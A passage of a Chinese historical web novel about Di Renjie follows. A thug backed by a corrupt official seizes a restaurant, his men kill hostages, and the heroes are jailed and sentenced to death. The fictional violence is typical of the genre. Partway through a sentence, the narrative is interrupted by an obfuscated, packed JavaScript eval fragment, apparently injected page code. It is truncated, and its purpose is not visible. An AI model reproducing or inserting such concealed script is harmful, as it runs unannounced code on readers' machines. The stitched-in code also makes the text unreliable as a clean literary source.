金世宝道:“你是糊涂啊!等你把姓宋的楼给弄到手了,你还愁睡不上他老婆?” 金六点头笑道:“是,是,是!干爹说得是!” 金世宝道:“到底是谁把你打成了这副德性?” 金六道:“是……是几个叫花儿!” 金世宝冷笑道:“胡州城里容得下叫花?” 金六道:“孩儿在城里就没见过这几人儿……” 金世宝道:“胡州城这么大,你还能见过所有人?” 金六道:“这几个叫花儿还真就没见过。” 金世宝问他有几个。 金六忙答道:“回干爹,有……那死了的好像不是一伙儿的,也就不算了……那就是三个!” 金世宝道:“你……说什么?就三个?” 金六点头道:“是,是,是!就三个!是一老的,还有俩小的。” 金世宝不信道:“你十几人打不过三个叫花?” 金六道:“他们三人很会打,我们十几人从来就不会打,那自然打不过咯。” 金世宝哼道:“几个叫花子竟敢如此胆大包天!胡州城里各路富商都得给金某几分面子,倒是几个穷疯了的乞丐先动起手来!” 金六求道:“干爹,干爹!替孩儿报仇啊!孩儿被他们害得残废了都!” 金世宝冷冷一笑,道:“这有何难。我手一挥,衙门里的人也都得听我的号令。到时候你再遇到他们几个,你就叫手下人发射信号弹,我这儿自会安排好一切。” 金六大喜,趴在地上,磕不了头,只是双手在空中乱舞,一面称赞道:“干爹英明!孩儿的好处都是干爹给的,孩儿绝不敢忘了干爹的大恩大德!” 金世宝叫仆人扶金六起来。 金六又谢,一面道:“孩儿明儿就领人再到姓宋的楼里去,明儿起那楼准是干爹的了!” 金世宝劝他将养几日再说。 金六一来想着那姓宋的老婆,二来恨那姓宋的,三来又想赶紧地奉承干爹,遂忙道:“不用养了!干爹欢喜,孩儿就是断了两条腿儿也不觉得委屈!” 金世宝哼哼笑,命仆人扶他进去歇息。仆人遂扶着金六趔趄着去了。 原来这所宅子便是金世宝的府邸,金六平日也住在里边儿。 一宿无话。 次日清早,金世宝于临走前嘱咐金六道:“今日,随你怎么闹去,只是你不要提及干爹,明白吗?” 金六道:“干爹,孩儿明白!就算不提你老,小崽子们又有谁不知道我是干爹的孩儿!” 金世宝“嗯”了一声,又道:“衙门里我都安排好了。要是真出了意外,你就按我昨儿教你的去做,正好将那些作对的一网打尽。你就安心的闹去吧,干爹这里静候佳音。”说着自去了。 这里金六有了这番话,更是有恃无恐,命仆人将他的所有心腹跟班儿都给叫来。不一时来了一群人,其中除了昨日那十来个跟班儿,又有二十余人,皆是金六的狐朋狗友。金六将来由与他们随便说了,一群人皆嚷着要去砸了宋老板的店。金六说不可砸店,这店儿打从今儿起就是他干爹的咯。遂一齐出了金府,朝宋老板的店奔来。 街上众人见金六左右两旁被人扶着走,一瘸一拐的,气势却不但未减,反倒胜似往昔,因此皆不敢得罪,只从中让出一条道来。 经过大街十字路口,一辆货车差一些撞着金六,车夫等人赶忙赔罪。金六的手下不由分说,一面乱骂,一面揪出车上几人当街暴打,立时便打死了几个,其余的都残废了。 金六哈哈笑着继续走路。 诸人见了,虽都愤愤不平,却是敢怒而不敢言。 一时,只见那一栋“食来运转”大楼便在眼前了。 金六在前,先骂了一句:“他妈的!单脚走路可不累死了你爹!”又说声:“进楼!”便领着三十多人一齐进了大楼。虽是大早上,楼里却已坐得满满的了,都吃着早茶早点呢。 金六突然大喝一声:“你们野爹又回来咯!” 登时,楼里处处又嚷了起来:“不好!瘟神又来啦!”“赶快跑啊!赶快跑啊!”“哎呀呀呀!走走走走!”转眼间人去楼空。 金六也不笑了,只叫:“姓宋的狗杂种!出来见你金爷爷!” 只听得帘子响处,传来:“你宋老爷在此!姓金的狗崽子嚷你妈!” 只见宋老板领着三十多个店里人,一齐穿过柜台,来到了金六的对面。 宋老板当先冷笑道:“金崽子,断了腿儿的滋味儿如何啊?” 金六见他们手中皆握着菜刀,大吃一惊,忙叫:“他们有刀!小的们,快!”跟班儿们同时也拔出刀来。 宋老板嘴上虽然硬,心里却是惊慌失措、惴惴不安,只颤抖着说了声:“你……你要干吗?” 金六哼道:“明人不说暗话,你金爷爷今儿来,就是来叫你小子滚蛋的!” 宋老板惊道:“你……你说什么?你什么意思?” 金六喝道:“没什么意思!就是这个意思!你听不明白?!你这栋楼现在归爷爷啦!你可以滚啦!最好给我滚出胡州,别再让爷爷见到你!”跟班儿们一齐叫滚,气得宋老板差点晕倒。金六和跟班儿们齐声大笑。 宋老板咬牙切齿,右手的菜刀指着金六,喝道:“你个该天杀的杂种!你一定要这么逼我,我姓宋的今日大不了跟你拼命!”对着店里的伙计们朗声道:“兄弟们!大伙儿一起干活儿了这么些年,也都是有情分的了!今儿这金痞子要霸占了咱辛辛苦苦经营了这么些年的店,是可忍熟不可忍!愿意跟着宋某的好兄弟,就举起手中的刀来!”说罢,只见那三十多个伙计,竟然没有一个举刀的,不觉倒吸了一口气。 有一些伙计互看了看,慢慢地举起刀来。金六见了,忙喝道:“我看谁他妈的敢!不举刀的都是金六的朋友,敢举刀的,到时候把你们跟姓宋的一块儿剁咯!”那些方要举的,登时又将手放了下来。 宋老板眼眶湿了,哽咽道:“不……兄弟们……这……这么多年啦!喂……你们……你们……” 这时,伙计们中走出一个酒保来,便是昨日给狄仁杰三人送饭的那个,见他举起了刀,楼内众人与楼外围观群众都是一惊。 宋老板见了,感动得流下泪来,只是“兄弟”的叫。 金六“嘿”的一声,指着他叫道:“喂,孙儿,你咋不听你爷爷的话儿呢!昨儿你还最乖,叫祖宗呢不是,今儿你……” 眨眼间,那酒保早已持刀向宋老板劈头砍去,听那宋老板惨叫一声,血流如注,当场毙命。 楼外围观群众与楼内众人都是“啊”的一声,吓了一大跳。 众人还未来得及反应,只见那酒保早已丢开了手中那血淋淋的菜刀,露出一脸谄媚相,朝金六脚前直扑将来,一面磕头,一面满口叫道:“孙儿给祖宗爷爷请安!恭祝祖宗爷爷福如东海,寿比南山!孙儿给你老磕头来了!” 这一番连金六都呆了,半晌方道:“乖……你……你是爷爷的乖孙儿。” 宋老板一动不动躺在地上,木头地板被鲜血染红了。 店伙计们都知道如今店老板要换人了,遂皆一齐跪下来乱叫:“众孙儿都给爷爷请安!”又将各种吮痈舐痔之词尽数讲了出来。 金六与他手下听了都哈哈大笑。 突然一个妇人乱喊乱叫冲了过来,奔到宋老板的尸首旁,跪下大哭,正是老板娘。 金六与手下还未开口,只听得那三十多个店伙计为了巴结金六,一齐指着她乱骂:“臭婊子!嚎你娘的丧!死了个野汉子也哭!你正经老公是金六爷呢!” 老板娘泪眼怒目盯着他们,气得浑身乱战,说不出话来了。 金六嘿嘿笑着招手道:“娘子,你老公在此,快过来呀!” 老板娘指着金六大骂:“你个野杂种!你还想玷污老娘?做你娘的春秋大梦去!”说着,拔腿就跑。 金六大怒,叫道:“快抓住她!谁抓住了我就认他做干儿子!”登时一群人去追。 老板娘拼了命地踏着楼梯往上跑,一群人直追到了第三层,笑道:“小娼妇,看你还往哪儿跑!” 老板娘后退,见没路可退了,一转身,见到的便是那个临街窗户。 她向下一看,见人山人海,顿感万念俱灰,大叫了声:“宋郎!我来陪你啦!”说着,闭上了眼就往下跳。听得耳旁风声响,突然被什么人给抱住了。她急忙睁开眼来,只见抱住她的那人是一个青年,早已将她平稳地放了下来。她认了出来,是昨日三楼扔饭碗、骂金六的那个,正是洪辉。 他忙道歉说:“这位夫人,得罪了。为了救命,不得已有失礼之处,还望见谅!” 旁边又闪出两个人来,正是狄仁杰与狄宁。狄仁杰忙叫老板娘快逃命去吧。老板娘喘了口气,道了声谢,便忙穿入人丛中去了。 原来自从昨日狄仁杰三人出了楼以后,先是将那没走成的尸首于郊外好生埋了,又回到城中,夜间在一家小客栈里歇宿。 狄仁杰因担心这金六又会前来闹事,便一清早与洪辉、狄宁二人来到楼前,不料还是迟了一步。 前来围观者不计其数,三人挤在了人群中几乎动不得。 洪辉正好就站在窗户下面骂道:“我就说恶人是不会改悔的!不杀恶人,好人就要遭殃!” 正说着,只见老板娘于正上方跳了下来。众人一见,都忙避开,反倒留出了一大片空地来。洪辉眼疾手快,忙将老板娘一把接住了。众人见了,都不由得喝彩。 洪辉还顺便指责了众人一句:“你们见她跳下来,怎么都没有一个人想着来救人啊?为什么反倒躲得远远的呢?她要是摔死了怎么办?” 金六听说老板娘跳楼了,倒唬了一跳,又听说是被几个叫花子给救了去,不觉大怒,忙领着楼里众人出外,只见大街上人多如沙。 金六大叫:“都他妈的给爷爷滚开!”众人忙让道。 只见一片空地上,站着狄仁杰三人。 金六一见,正是怒从心上起,恶向胆边生,指着乱骂:“他妈的!又是你们几个叫花儿杂种!赔爷爷这条腿儿啊!”大叫一声:“不要放过他们仨!” 登时六七十人紧紧围住了狄仁杰三人,其中有金六的三十多个手下、二十来个店里人,还有十来个凑热闹的围观群众。这些人中间单是手中有菜刀、腰刀等器械的就有将及六十来个。 洪辉厉声骂道:“姓金名六的野杂种!到处认野爹的孤儿!你仗势欺人、横行霸道,还以为永远能够逍遥法外!我洪辉今日就要将你就地正法!” 可是毕竟如此多的人围着,狄仁杰三人根本就没有丝毫把握能够突出重围。 金六心想这么多人收拾他们三个,应是绰绰有余,根本就用不着发什么信号弹。此时听见洪辉正在骂自己,更是怒气冲天,大叫:“都给我上!你们赶紧地给我杀了他们!” 那些人见金六也没说要抓活的,更是肆无忌惮,都大喝一声,朝狄仁杰三人乱刀砍来。 狄宁与洪辉一齐守在狄仁杰左右,时刻护着他。 俗话说:“枪扎一条线,棍打一大片。”这时一群人正围在四周,甚是密集。洪辉大叫了一声,使尽全力将铁棍横扫,身子跟着转动,立时便打倒了一大片。狄宁也顾不得许多了,持着腰刀左挡右格,东砍西劈,中刀者非死即伤。狄仁杰只待在二人中间,跟着他们的步伐挪动。有一些不敢靠近的,只从远处将菜刀一扔,却没有砍中狄仁杰三人,倒是中了对面的同伙。 洪辉的铁棍一面挡掉攻来的兵刃,一面趁势斜击对方,狂甩猛挥,有时再向前戳他一两个。狄宁此时又夺来了一把腰刀,双手各持一把,顶住左右双方。二人此时都抱着必死的决心,犹如破竹之势,势不可当。跟狄仁杰眼神相交,微一点头,都想好了要从何处突围。 洪辉、狄宁二人突然转身,同时改变了进攻方向,朝正前方直打将来,诸人猝不及防。三人不一时便杀出了一条道路,冲将出来。 那金六正探头探脑地看,不料三人猛地飞奔而至,“哎呀”叫了一声,被狄宁一把揪出,从跟班儿的手里抢了过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洪辉喝道:“商量个屁!亏你们还是官府的人,竟还帮衬着这种地痞流氓无赖!我看你们都是一流货色!” 于捕头怒道:“小子!你可别说出这等犯上的话来!得罪了金爷,就是得罪了金老爷,得罪了金老爷,就是得罪了孟老爷!你们几个胆敢在胡州城里这么乱闹,那是自寻死路!” 洪辉喝道:“犯上,犯上!你不就是怕那个什么金世宝吗?哼!我可不怕他!这些个欺压良善的,我洪辉见一个就杀他一个!” 于捕头听了,吓了一跳,指着道:“你……你活腻了呀你!你……你怎敢说出这种话来!你……你不想活了呀你!” 洪辉道:“你也是个当差的,你凭良心说一句,这金六该不该杀?还有他那主子金世宝,躲在背后当缩头乌龟呢,还以为不抛头露面,就能装没事儿人了?就他那乖儿子,一口一个‘我干爹是金世宝’的,早就将他给卖完喽!更可恨的是那姓孟的知府,任凭底下人为非作歹,他却丝毫不闻不问,可见也不是什么好官!我看是主子奴才一条藤儿,都他娘的是一伙儿的!” 于捕头叫道:“你要死!” 洪辉冷笑了一声,道:“死就死了!至少死了以后,可以眼不见为净,不会再见到这些恶心的人,像这姓金的,还有像你这样的,让我恶心都恶心死了!成日里唯恐天下不乱的,使人一刻也不得消停!” 于捕头道:“你……你……” 洪辉喝道:“你什么你?你什么你?说的就是你!” 于捕头急了,道:“哎呀!你不要再说啦!你们快放了金爷啊!” 狄宁道:“不放!” 于捕头道:“放吧!” 狄宁道:“就是不放!” 于捕头道:“为什么不放啊?” 狄宁道:“放了金六,我们就要死了。” 于捕头忙道:“不不不!放了金爷,你们就不死了!不放才要死!” 狄宁道:“死也不放!” 于捕头又是急得“哎呀”叫。 狄仁杰叹道:“‘人固有一死,或重于泰山,或轻于鸿毛。’司马迁这一句话已经说明了,同样是死,却也各有不同。有不同的分量,也有不同的价值。泰山鸿毛,不可同日而语。” 狄宁点头道:“死不怕,有金六陪葬。”那金六又乱叫了起来,手再收紧些,登时便没声儿了。 于捕头忙道:“喂!你们死了没关系,金爷可不能伤着!” 这时有许多围观群众在旁。金六见了,立时想到了办法。因被狄宁掐住了脖子,只好断断续续地使劲叫道:“于……于捕头!你……你快……抓……抓个人……抓个人来……威……威胁……威胁他们!快……!” 于捕头听了,心想:“官府抓百姓来威胁贼,贼要是还被威胁到了,那么到底谁才是贼?”因此犹豫了,不敢轻举妄动。 金六的手下却直接冲了过来,抓住了些围观群众。 金六大喜,忙叫:“快……!快威胁……!” 那些被抓的人唬得乱喊乱叫,被金六的手下用刀架在了脖子上,威胁狄仁杰三人,要是不放了金六,便要杀了这些人。 这变故来得太过突然,登时在场几乎所有人都惊呆了。 狄仁杰忙叫:“你们这是在做什么!他们是无辜的百姓,你们怎么能拿他们的性命来胁迫?你们快放了他们!” 金六的手下叫道:“你们先放了六爷!” 狄仁杰大叫:“你们先赶紧放人!我们自会放了他!” 金六的手下道:“好!你们记着,这几条人命,都是因为你们而断送的!”说着,乱刀砍去,将男女老少当场杀光,血流满地。 他们的亲戚朋友哭叫着跑来,也被金六的手下抓住,将那杀完人还滴着鲜血的刀又架在了他们的脖子上,继续威胁道:“你们三个听好了!你们只要不放了六爷,这些人就得一个个的去死!” 这一番,就连于捕头和捕快们都怒了,却只是敢怒而不敢言。 狄仁杰三人更是怒极,指着金六的手下大叫:“你们真是丧尽天良!怎么可以伤害无辜!”又指着那些捕快们叫:“你们不惩恶扬善,反倒助纣为虐!” 狄仁杰大叫一声:“我……!”突然感到胸口一热,一口鲜血直喷了出来,向后便倒。 洪辉、狄宁二人只是“先生”“老爷”的叫。 狄宁大叫一声,就要杀了金六。 狄仁杰在地上道:“罢了,罢了,杀了他也没用了,放他走吧……叫他们别再……别再……别再伤害无辜了……”说着,不省人事了。 众人见狄仁杰自己都快死了,却还心系他人,不觉都感动了。 洪辉二人更是快哭晕了过去。 金六忙趁乱跑了,见众人都怒目盯着自己,倒有些怕了,忙叫手下将人放了。又指着狄仁杰三人,看着捕快们叫道:“你们赶紧地给我抓了他们呀!”见于捕头还有捕快们都皱着眉,并不动手,金六急了,喝道:“嘿!你们竟敢不听我的命令!” 于捕头道:“金爷,他们不像坏人……” 金六大怒,冲过来照他脸上就一嘴巴,大骂道:“姓于的!我看你这捕头是不想干了!要不是我干爹抬举了你,你他妈算个什么东西?你也敢不听爷的话?我告儿你!金爷才不管什么好人坏人,只要是得罪了我,我就让他做不得人!你听明白了没有!还不给我赶紧地动手抓人呢!别惹金爷发怒,让你们都吃不了兜着走!” 于捕头虽又羞又怒,可自己到底是金世宝抬举的,也不敢不听金六的。于是手一挥,就要来抓狄仁杰三人。 众捕快也都只是奉命行事,又哪管什么是非对错,遂都只管去抓人。 狄仁杰这时昏倒在地,早已没知觉了。 狄宁道:“兄弟,我们今日可以死在这里,但不能受这姓金的侮辱。” 洪辉点头道:“正是!” 正预备着要厮杀,忽然传来了一声:“知府大人到!” 只见四五十个官兵簇拥着一乘大轿,从东北角上款款而来。 众人见了,包括于捕头和捕快们,金六和他的跟班儿们,围观群众和过路的人们,凡是在场的,全都跪下了。唯洪辉、狄宁二人尚未反应过来,因此并未跪下。 那轿内的人被搀了下来。只见他身穿绯色大红袍,头戴乌纱帽,足蹬粉底皂靴,腰间还系有正五品以上官员所佩之银鱼袋。 此人即是胡州知府孟延,已年逾半百,须发斑白。 他呆在原地,缓缓地环顾了一番,有气无力地说了声:“都起来吧。” 那金六早瞧见了洪辉、狄宁二人未跪,遂一骨碌爬起身来,便指着二人叫道:“喂!你们两个!知府大人到了,你俩怎么不跪啊?啊?还有你们底下那老儿,他干吗躺着呀?他为什么也不跪啊?啊?我看你们仨是想造反!” 洪辉本就怒火中烧,听了这话,更是气得暴跳,眼中直迸出火来,指着金六大骂:“你个挨千刀的狗杂种!有种的你就过来跟你洪爷爷打一架!信不信老子他妈的活刮了你!你个到处认野爹的野杂种!你过来呀!你过来呀!” 于捕头见他千杂种万杂种的乱骂,连忙指着他喝道:“喂喂喂!你小子疯啦!知府大人在此,你口里不干不净的说些什么呢?” 洪辉愈来劲了,转过身来望着孟知府冷笑道:“好啊,你就是那姓孟的知府啊!你还好意思来啊!你也不看看你胡州城里都是些什么狗玩意儿!” 金六跑到孟知府面前叫道:“孟叔!你可要替侄儿做主啊!” 孟知府看着他道:“贤侄啊,到底怎么啦?你孟叔叔听见人说,街上大乱了,还跟你有关呢。你是不是又闯祸啦?” 金六忙道:“不不不!侄儿从来可都是听话的,又怎么会闯祸呢!孟叔常常教导侄儿,要爱护百姓,侄儿都谨记着呢,对百姓好着呢!” 孟知府道:“那怎么会闹成了这个样子呢?怎么衙门里的人来了这么多?世宝呢?世宝哪里去啦?” 金六忙道:“干爹他不是在孟叔府里算账呢不是!孟叔,这可不干干爹的事儿啊!衙门里之所以来人,是因为这三个人故意捣乱呢!”说着,指向洪辉三人。 孟知府“哦”了一声,问道:“是他们在闹吗?” 金六忙道:“是是是!就是他们三个在乱闹啊!闹得叔叔治下的胡州城里鸡犬不宁的!就是他们三个!三个叫花子,穷疯了的,想造反呢!他们还把这些无辜的百姓白白地杀了这么多啊,实在是太坏了呀!孟叔,你老可得为民做主啊!” 孟知府看着洪辉二人怒道:“真没想到,本官治下的胡州城里竟有人敢这么嚣张跋扈,滥杀无辜!适才你骂我六贤侄,我就觉得你并非善类。如今听贤侄这等说来,竟是你们几个在制造事端!” 于捕头见金六如此颠倒黑白,也着实看不下去了,说了句:“其实也不是这样的……” 金六猛一回头,连忙断喝:“于捕头!你办事不力,已是饶你不得!你现在还敢来胡咧咧,你这是罪上加罪!闭上你的狗嘴!这里是知府大人说了算,还轮不上你小子来插口!” 狄宁指着金六怒叫:“你个恶人!胡说八道!指鹿为马!说的都是混淆视听的话!明明是你在闹,倒说是我们!无辜百姓也是你手下杀的!”洪辉也在旁附议。 金六忙跪下,望着孟知府大哭道:“孟叔啊!救我呀!他们恶人先告状,贼喊捉贼啊!” 孟知府手一挥,道:“什么都不用说了!出了这等事,乃是孟某之过!”命捕快们:“你们赶紧地把这几个闹事的抓了完事,还犹犹豫豫的做什么?快点动手啊!” 于捕头叹了口气,向洪辉二人道声:“得罪。”便与捕快们动起手来。 洪辉二人遂与上百人厮杀。 金六又是歪曲事实地乱说了一通,听的孟知府只是点头。 他本就对花言巧语的金世宝颇为赏识,因此爱屋及乌,亦喜金六,才会未加思索而听信佞言。 却也并非一味地姑息养奸,只是愚蒙作怪而已。 狄宁因手中无兵刃,此时人数又如此之多,便欲夺刀也难,登时被一群人压在了身上,喘不过气来,手脚均被绳子缚了。 洪辉一见大吃一惊,忙欲持棍来救,一瞥眼见昏迷的狄仁杰也被人给绑了,立时慌了手脚。 寡不敌众,又挣扎了一会儿,身上中了一两刀,松开了手中的铁棍,被人一拥而上按住在地,动弹不得了。 三人于是皆被缚了。 洪辉、狄宁二人见昏迷的狄仁杰被人给揪着头发在地上拖着走,只大骂捕快们。 捕快们听了大怒,对他们又踢又打的。 三人被带到了孟知府面前,听候发落。 那孟知府连看都没看三人一眼,就随口说道:“既是闹事的,又杀伤人命,那是罪不可恕。先将他们关押在大牢里,择个日子,斩首示众吧。” 金六遂欢欢喜喜地回府。 这时金世宝还在孟府里算账未回。 金六正吃着茶点,忽听得仆人来报:“廉三爷来了。” 金六叫快请。 只见门口走进一个獐头鼠目的青年来,长相着实丑陋。 他忙做手势,意思叫正要勉强起立的金六快坐下,一面说道:“老六,都听说了,你腿怎样了?” 金六嘿嘿笑道:“好着呢!那几个作对的兔崽子要被砍头咯!” 那廉三爷道:“啥时候啊?”说着,在旁边坐了下来,看仆人献茶。 金六道:“跟你爹都说好啦,就在明儿午时三刻,到时看热闹去。” 原来这孟知府有三个儿子:老大叫孟贤,老二叫孟迁,老三叫孟廉,也就是这廉三爷。老大老二皆是已故正房奂夫人所生。这老三孟廉的生母却是如今仍在的妾室迟姨娘。奂夫人因其温柔娴静,优雅端庄,博得了孟知府喜爱。却在生完二子之后,不幸因病早逝。这迟姨娘于奂夫人在世之时,便常与之争宠,然除了自己引以为豪的那一点姿色以外,却别无甚夸耀之处,因而始终难得孟知府真爱。奂夫人虽去了,孟知府却仍是对她念念不忘,并且日益思念。他越来越认为,奂夫人乃世上独一无二的女子,故而其夫人之位亦是无可比拟,再也容不下第二个人了。遂未在续弦,也始终不肯将迟姨娘扶正。 如今这迟姨娘等了这么些年,早已年老色衰,却仍是个偏房的身份,只被人唤作“姨娘”、“小娘”,而从未被人叫过“太太”、“夫人”,心中便感到愤愤不平。她儿子孟廉也因庶出的缘故,不甚得其父喜爱,从小便对他冷冷淡淡的,动辄没来由的责骂他两句,因此恨极了他父亲。如今也快二十了,却不甚读书,成日里不务正业,只游手好闲,贪图安逸,吃喝玩乐,无所不为。且物以类聚,人以群分。所滥交者多是金六这等人。 如今只说这孟廉开口说道:“老六,我今儿来,是想跟你谈一件大事儿。” 金六问是甚事。 孟廉看了一眼仆人,金六会意,叫他先出去。 仆人答应了一声,退出了房间,将门掩上。 金六笑道:“嘿,什么事儿这么鬼鬼祟祟的,说吧。” 孟廉吞了吞口水,望着他正色道:“我先问你,你爱不爱财?” 金六道:“你这不是废话嘛,谁不爱财?” 孟廉回过头朝门口望了望,深怕被人窃听似的,又盯着金六小声道:“我这里有一条可以赚钱的道儿……” 话未了,金六便嗤的一声,一脸不屑道:“你得了吧你!老子才懒得赚钱!我干爹有的是钱,随我怎么用!你爹也有的是钱,你还嫌不够呢?” 孟廉瞪大了小眼,忙将手指放在嘴唇上,“嘘”了一声,道:“你说话儿别那么大声儿行吗?这事儿可别让人听见了……” 金六道:“嘿,你今儿咋这么啰嗦呢,到底啥玩意儿啊?” 孟廉用手比划着,说道:“一大笔钱哪!” 金六道:“能有多大?” 孟廉道:“大到你没法儿想象!” 金六道:“比你家的钱还多?” 孟廉道:“这钱就是我家的!”一不小心说大声了,忙捂住了口。 金六撇了撇嘴,道:“我不信,要真是你家的钱,好端端的干吗跟我说呀?” 孟廉道:“你怎么能这么想呢?你这不是以小人之心度君子之腹嘛!我还不是看重了咱俩的友谊,才巴巴儿的来告诉你。要不是这样,这钱我自个儿赚得了,我还真就不必来告诉你!你能不能别瞎狐疑了呀?” 金六笑道:“你还赚你自家的钱呢?” 孟廉“嗐”了一声,道:“这钱就算是我家的,也不代表就已经是我的了!那老不死的狗东西,藏得也忒他妈深!这么多年了,连一点儿都没听他提起过。等他死了,这钱自然是归老大。就算是老大也死了,也还是得归老二,怎么也都他妈的轮不到我!那你说,这钱是不是我家的,又有什么分别?到头来,我还不是连一分儿也捞不着!” 金六道:“你毕竟还是你爹的儿子,他还不至于一点儿家私也不分你。” 孟廉道:“老六啊,你不懂!我爹那老不死的,打小儿就不待见我。老大成日里装得像个正人君子,又是长子的,我爹就待见他呢!哼,就连老二那糊涂蛋儿,我爹又何尝说过他些什么?还不是因为我是小老婆生的。他妈了个巴子的,小老婆不是你他娘的自个儿找的?就这老狗还会分财产给我呢?呸!” 金六道:“问题你老子还没死呢,你就急着争财产啦?” 孟廉道:“那也罢了,主要是我爹还瞒着咱一件大事儿呢!” 金六笑道:“说不定就瞒着你呢,你那俩哥都已经知道嘞。” 孟廉使劲摆手道:“绝对没有的事儿!我还真就告诉你了,这事儿啊,我也是前儿半夜里偷听到的。而且这么看来啊,我爹他也是刚刚得知的。” 金六道:“我还是听不懂你在说些啥子,你能不能别绕弯子啦?” 孟廉道:“欸你别急嘛,我正说着呢嘛。那天夜里啊,我回来的晚,灌了点儿黄汤,东倒西歪的,到处儿又都黑咕隆咚的,看不清儿,不知怎地就误打误撞走到了我那爹的房里!嘿,你也是知道的,我跟我那爹?哼!我要不是糊涂咯,会他娘的来到他这儿?我告诉你,我连脚碰到他房里的那个地我都觉得恶心!嘿,可是就是这么巧,还真就走到了他屋子前。里边儿呢,又没亮灯,模模糊糊的,我隐约看着也不像是我的屋子呀,清醒了些,就要走呢。欸,忽然啊,就听到了一声儿响,也不知道是什么声儿。” 金六道:“不儿你到底要说啥呀?不是赚钱的事儿吗?扯这么远什么意思啊?还说的怪唬人!” 孟廉道:“你能不能别老插话儿呀?我当时也是糊里糊涂的,能记着些都不错了,你还吵我呢!那个……说到哪儿来着?” 金六道:“你说什么响声儿嘛……” 孟廉道:“对对对,就是听到了个什么声儿。那倒也罢了,后来听到的那才吓人呢!” 金六忙问:“什么呀?” 孟廉道:“我爹他先是惊叫了一声儿,而且就那么一眨眼的功夫,又听不到喽!” 金六道:“你这是什么情况呀?” 孟廉道:“我那时吓得一身冷汗,我哪儿知道发生了什么?我那两个脚儿啊,就像钉在了地上似的,根本就动不得了!过了没多久,我爹屋里竟然传来了人的说话儿声!” 金六道:“是不是你爹做了啥梦,自言自语啊?” 孟廉道:“绝对不是!那声音怎么会是我爹的呢?” 金六道:“那到底是谁的呀?” 孟廉道:“我不都说了嘛,黑灯瞎火的瞧不见啊!” 金六道:“那后来呢?” 孟廉道:“原来是有人进了我爹的屋子里,跟我爹说上话儿了。” 金六道:“都说了些什么呀?” 孟廉悄声道:“说的是关于咱家的一个秘密……” 37. 第三十七章 死刑 戌牌时分,天色昏暗,胡州城里千家万户都陆续掌上了灯。 狄仁杰三人身陷缧绁已将近五六个时辰了。 那些禁子问他们索要贿赂,他们身上虽有些许,然就是不与,那些禁子遂也就是不与他们饭水吃。 土墙上有个小窗,传来了街上细微的人声,夹杂着近处的犬吠声,剩下的便只有牢里那些狱卒聚众饮赌的嘈杂声了。 狄仁杰早已醒转,与洪辉、狄宁二人呆坐在稻草堆里,感到又闷又热,又渴又饿。 狄仁杰、狄宁二人想到不久以前在阳绵县魏府之中,亦是身陷囹圄,感觉与此刻如出一辙。唯一不同的是,那时并不知几时要死,而此刻却早已听禁子们说知了:明日午时三刻问斩。 三人此时也不知说什么好了,似乎埋怨谁都没有意义了,因此皆低着头不说话。 窗外刮来了一阵凉飕飕的晚风,三人不觉都打了个冷噤。 洪辉、狄宁二人浑身伤口,处处作痛,可是毕竟还年轻,勉强还抵受得住。狄仁杰却是老迈,这一下冷一下热的,加上饥渴,不觉头昏脑胀,胸口恶心,真是难受到了难以承受的地步,登时“哇”的一声大吐了起来,嘴里又酸又涩。洪辉、狄宁连忙替他捶背揉胸。狄仁杰吐了会儿,便又昏了过去。见他面色苍白,已与死人无异了。 洪辉、狄宁二人乱叫,一个禁子跑了过来,敲着牢门喝道:“叫什么叫,叫什么叫!小崽子嚎你娘的丧!” 洪辉冲到了门前大叫:“狄先生快死啦!你们快给水来呀!快呀!” 不防禁子从洞口处朝他肚腹猛然戳了一棍,痛得洪辉“啊”的叫了一声,向后便倒。 狄宁忙来扶着,怒目看着大笑的禁子道:“你们不就是要银子吗?我们身上的就这么多了,你拿去吧!”说着就往衣服里掏。 洪辉忙阻止道:“哥,不要!” 狄宁看着他含泪道:“跟他们硬是没用的,还是先救了老爷要紧。”遂将碎银子都与了禁子。 禁子接了,道:“小子,还算识时务!” 狄宁道:“你们给我们一碗水吧。” 禁子过去了会儿,先将银子与其余的同伴分了。 大笑声中,几人拿了一碗水来,递给狄宁,笑道:“喝吧!” 狄宁低头一看,见水浑浊不清,道:“这水不干净。” 那些人笑道:“干净的还给你们喝?拿去吧!” 狄宁怒道:“你们欺人太甚!” 洪辉也爬起来一看,指着那些禁子叫道:“这么脏的水就是喂猪都不行,你们还拿来给人喝!” 那些人道:“还敢挑剔!”朝二人脸上直泼将来。 二人“哎呀”叫了一声,被溅了一脸的脏水。 那些人大笑道:“喝了咱的洗脚水,长命百岁!哈哈哈!”说着自去了。 二人感到无比的屈辱,本欲破口大骂,可是话到了嘴边,却连一句也说不出口,只流下了泪来。 二人守在昏迷的狄仁杰身旁,心情很复杂。 不知过了多久,狄仁杰方缓缓醒转。 见那些禁子已呼呼大睡了,洪辉道:“我们不如趁着他们都睡熟了,想个法子越狱。” 狄宁道:“不可能了。” 狄仁杰道:“要是忠义还在,这么一道门又岂能拦得住他?” 洪辉问道:“先生,谁是忠义?” 狄仁杰一听,眼眶湿了,哽咽道:“他……他是我的一个……一个很好的朋友。” 洪辉道:“后来他怎样了?” 狄仁杰低了头,叹了口气道:“就在不久前,他……他跟着我另外几位朋友……一齐摔下悬崖了……”说着,用手拭泪。 狄宁也忍不住哭了。 洪辉不知怎么安慰好,只道:“先生……我……我不知道……我不该问的……” 狄仁杰轻轻摆手,道:“罢了,不久我就要下去陪他们了。”又看着二人道:“只是你们跟着我,也得跟着我……是……是我连累了你们……我……我狄仁杰对不住你们……”不觉泪如雨下。 洪辉拭泪道:“先生,我洪辉跟了你,永不后悔。就是来世,我也一样要跟着你。” 狄宁滴泪点头道:“不后悔,永不后悔。”突然低了头,犹豫了一下,看着狄仁杰道:“老爷……我……我有一件……一件私事……一个秘密……我不知道要不要跟你说……” 狄仁杰摇手道:“不用说了。每个人都有自己的难处,我也有别人不知道的事。自从你跟了我,我是看着你一点点长大的,你的事我都知道。” 狄宁道:“老爷真的都知道吗?” 狄仁杰看了他一眼,道:“只是我不想说出来。如今都到了这个地步了,你也不用说了。既然是秘密,那就让它永远成为一个秘密好了。” 狄宁呆了呆,点头。 这漫长的黑夜,也不知怎么就过去了。 不觉报晓鸡鸣,东方发白,已是辰牌时分。 